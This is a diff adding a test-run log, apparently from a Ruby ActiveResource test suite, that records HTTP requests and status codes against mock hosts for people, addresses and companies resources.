+I, [2009-10-15T10:42:01.197493 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.197627 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.198503 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.198591 #83316]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T10:42:01.200542 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.200654 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.201656 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.201744 #83316]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T10:42:01.203945 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.204077 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.205107 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.205198 #83316]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T10:42:01.208510 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.208637 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.209541 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.209639 #83316]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T10:42:01.211913 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-10-15T10:42:01.212042 #83316]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-10-15T10:42:01.212946 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.213044 #83316]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-10-15T10:42:01.229377 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.229533 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.276696 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.276854 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.278501 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.278617 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.289029 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.289187 #83316]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T10:42:01.291250 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.291363 #83316]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-10-15T10:42:01.299687 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:01.299884 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:01.308566 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.308717 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:01.430805 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.430954 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.439904 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/4.xml
+I, [2009-10-15T10:42:01.440049 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.455159 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.455307 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.455580 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.455659 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.463255 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.463398 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.463673 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.463751 #83316]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T10:42:01.471542 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.471677 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.471954 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.472031 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.479611 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.479741 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.481250 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.481370 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.481669 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.481756 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.489478 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.489624 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.491095 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.491198 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.491470 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.491547 #83316]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T10:42:01.499333 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.499470 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.501141 #83316]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.501251 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.501536 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.501613 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.509617 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.509774 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.509969 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-10-15T10:42:01.510059 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.510351 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.510428 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.511888 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.512047 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.512301 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-10-15T10:42:01.512392 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.512634 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.512724 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.512918 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-10-15T10:42:01.513009 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.513230 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-10-15T10:42:01.513363 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.513609 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.513697 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.515358 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.515481 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.515765 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-10-15T10:42:01.515867 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.516171 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-10-15T10:42:01.516272 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:01.524600 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.524754 #83316]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-10-15T10:42:01.582889 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.583064 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.583284 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.583369 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.584912 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.585038 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.585256 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.585343 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.586841 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T10:42:01.586991 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.587218 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.587299 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.588710 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T10:42:01.588837 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.590465 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-10-15T10:42:01.590606 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.598879 #83316]  INFO -- : HEAD http://37s.sunrise.i:3000/people/not-mocked.xml
+I, [2009-10-15T10:42:01.599071 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:01.621559 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.621707 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.631585 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/5.xml
+I, [2009-10-15T10:42:01.631744 #83316]  INFO -- : --> 200 200 (223 0ms)
+I, [2009-10-15T10:42:01.641218 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.641363 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.650825 #83316]  INFO -- : GET http://37s.sunrise.i:3000/customers/1.xml
+I, [2009-10-15T10:42:01.650986 #83316]  INFO -- : --> 200 200 (1458 0ms)
+I, [2009-10-15T10:42:01.716995 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.717148 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.767500 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-10-15T10:42:01.767665 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.776776 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.776928 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.778657 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:01.778768 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:01.787914 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.788064 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:01.790538 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.790640 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.799416 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-10-15T10:42:01.799556 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:01.808889 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.809058 #83316]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T10:42:01.818067 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-10-15T10:42:01.818235 #83316]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-10-15T10:42:02.012857 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.013009 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.021991 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.022137 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.031250 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.031400 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.034341 #83316]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.034464 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.042263 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.042404 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.052848 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.053004 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.063404 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.063555 #83316]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T10:42:02.073546 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.073694 #83316]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T10:42:02.083550 #83316]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-10-15T10:42:02.083697 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:02.085528 #83316]  INFO -- : PUT http://somewhere.else:80/people/2.xml
+I, [2009-10-15T10:42:02.085638 #83316]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-10-15T10:42:02.093300 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.093449 #83316]  INFO -- : --> 200 200 (151 0ms)
+I, [2009-10-15T10:42:02.095727 #83316]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.095857 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.103405 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.103549 #83316]  INFO -- : --> 200 200 (199 0ms)
+I, [2009-10-15T10:42:02.106041 #83316]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.106168 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.204130 #83316]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.204310 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.213357 #83316]  INFO -- : DELETE http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.213513 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.215676 #83316]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:02.215846 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.217857 #83316]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.217951 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.221442 #83316]  INFO -- : GET http://localhost:80/people.xml
+I, [2009-10-15T10:42:02.221574 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.225904 #83316]  INFO -- : GET http://localhost:80/people_empty_elements.xml
+I, [2009-10-15T10:42:02.226023 #83316]  INFO -- : --> 200 200 (77 0ms)
+I, [2009-10-15T10:42:02.228612 #83316]  INFO -- : GET http://localhost:80/people_single_elements.xml
+I, [2009-10-15T10:42:02.228721 #83316]  INFO -- : --> 200 200 (208 0ms)
+I, [2009-10-15T10:42:02.232221 #83316]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:02.232342 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:02.238505 #83316]  INFO -- : HEAD http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.238639 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.242779 #83316]  INFO -- : POST http://localhost:80/people.xml
+I, [2009-10-15T10:42:02.242899 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:02.244914 #83316]  INFO -- : POST http://localhost:80/members.xml
+I, [2009-10-15T10:42:02.245012 #83316]  INFO -- : --> 201 201 (1 0ms)
+I, [2009-10-15T10:42:02.249121 #83316]  INFO -- : PUT http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.249265 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.251531 #83316]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-10-15T10:42:02.251720 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.260575 #83316]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-10-15T10:42:02.265763 #83316]  INFO -- : GET http://localhost:80/people_timeout.xml
+I, [2009-10-15T10:42:02.270289 #83316]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+I, [2009-10-15T10:42:02.270408 #83316]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-10-15T10:42:02.272131 #83316]  INFO -- : POST http://somewhere.else:80/people/hire.xml?name=Matz
+I, [2009-10-15T10:42:02.272233 #83316]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-10-15T10:42:02.272452 #83316]  INFO -- : PUT http://somewhere.else:80/people/promote.xml?name=Matz
+I, [2009-10-15T10:42:02.272537 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.272761 #83316]  INFO -- : PUT http://somewhere.else:80/people/sort.xml?by=name
+I, [2009-10-15T10:42:02.272843 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.273062 #83316]  INFO -- : DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+I, [2009-10-15T10:42:02.273149 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.273377 #83316]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+I, [2009-10-15T10:42:02.273463 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.275835 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.275930 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.277383 #83316]  INFO -- : GET http://somewhere.else:80/people/1/shallow.xml
+I, [2009-10-15T10:42:02.277484 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.278674 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.278762 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.280004 #83316]  INFO -- : GET http://somewhere.else:80/people/1/deep.xml
+I, [2009-10-15T10:42:02.280100 #83316]  INFO -- : --> 200 200 (129 0ms)
+I, [2009-10-15T10:42:02.281906 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.282016 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.283331 #83316]  INFO -- : PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+I, [2009-10-15T10:42:02.283427 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.283633 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.283708 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.285094 #83316]  INFO -- : DELETE http://somewhere.else:80/people/1/deactivate.xml
+I, [2009-10-15T10:42:02.285207 #83316]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T10:42:02.285442 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.285533 #83316]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T10:42:02.287083 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+I, [2009-10-15T10:42:02.287235 #83316]  INFO -- : --> 200 200 (139 0ms)
+I, [2009-10-15T10:42:02.288895 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.289034 #83316]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T10:42:02.290430 #83316]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+I, [2009-10-15T10:42:02.290548 #83316]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T10:42:02.293258 #83316]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-10-15T10:42:02.293394 #83316]  INFO -- : --> 201 201 (78 0ms)
+I, [2009-10-15T10:42:02.294110 #83316]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+I, [2009-10-15T10:42:02.294206 #83316]  INFO -- : --> 201 201 (92 0ms)
+I, [2009-10-15T10:42:02.294738 #83316]  INFO -- : POST http://somewhere.else:80/people/1/register.xml
+I, [2009-10-15T10:42:02.294821 #83316]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-10-15T10:42:02.297148 #83316]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-10-15T10:42:02.297245 #83316]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-10-15T10:42:02.306522 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.306671 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.316547 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.316691 #83316]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T10:42:02.326102 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.326313 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.389348 #83316]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-10-15T10:42:02.389505 #83316]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T10:42:02.398881 #83316]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-10-15T10:42:02.399030 #83316]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T10:42:02.408807 #83316]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-10-15T10:42:02.408956 #83316]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T10:42:02.418332 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.418483 #83316]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T10:42:02.427871 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/2/addresses.xml
+I, [2009-10-15T10:42:02.428032 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:02.435439 #83316]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T10:42:02.435558 #83316]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T10:42:02.444822 #83316]  INFO -- : GET http://somewhere.else:80/people/99.xml
+I, [2009-10-15T10:42:02.444973 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:02.445476 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people//addresses/1.xml
+I, [2009-10-15T10:42:02.445576 #83316]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T10:42:02.453021 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T10:42:02.453141 #83316]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T10:42:02.462067 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.462231 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.472418 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.472572 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.482747 #83316]  INFO -- : GET http://somewhere.else:80/companies/1/manager.xml
+I, [2009-10-15T10:42:02.482940 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:02.491809 #83316]  INFO -- : GET http://somewhere.else:80/people/leader.xml
+I, [2009-10-15T10:42:02.491944 #83316]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T10:42:02.500743 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.500919 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.511114 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.511264 #83316]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T10:42:02.520490 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.520633 #83316]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T10:42:02.530556 #83316]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T10:42:02.530704 #83316]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T10:42:02.532967 #83316]  INFO -- : GET http://somewhere.else:80/people.json
+I, [2009-10-15T10:42:02.533082 #83316]  INFO -- : --> 200 200 (48 0ms)
+I, [2009-10-15T10:42:02.534424 #83316]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T10:42:02.534513 #83316]  INFO -- : --> 200 200 (224 0ms)
+I, [2009-10-15T10:42:02.587824 #83316]  INFO -- : GET http://somewhere.else:80/people/retrieve.json?name=David
+I, [2009-10-15T10:42:02.587966 #83316]  INFO -- : --> 200 200 (25 0ms)
+I, [2009-10-15T10:42:02.588901 #83316]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=David
+I, [2009-10-15T10:42:02.588992 #83316]  INFO -- : --> 200 200 (149 0ms)
+I, [2009-10-15T10:42:02.591152 #83316]  INFO -- : GET http://somewhere.else:80/people/2.json
+I, [2009-10-15T10:42:02.591267 #83316]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T10:42:02.591662 #83316]  INFO -- : GET http://somewhere.else:80/people/2/shallow.json
+I, [2009-10-15T10:42:02.591746 #83316]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T10:42:02.592679 #83316]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-10-15T10:42:02.592764 #83316]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T10:42:02.594216 #83316]  INFO -- : GET http://somewhere.else:80/people/2/shallow.xml
+I, [2009-10-15T10:42:02.594318 #83316]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T10:42:02.595862 #83316]  INFO -- : POST http://somewhere.else:80/people.json
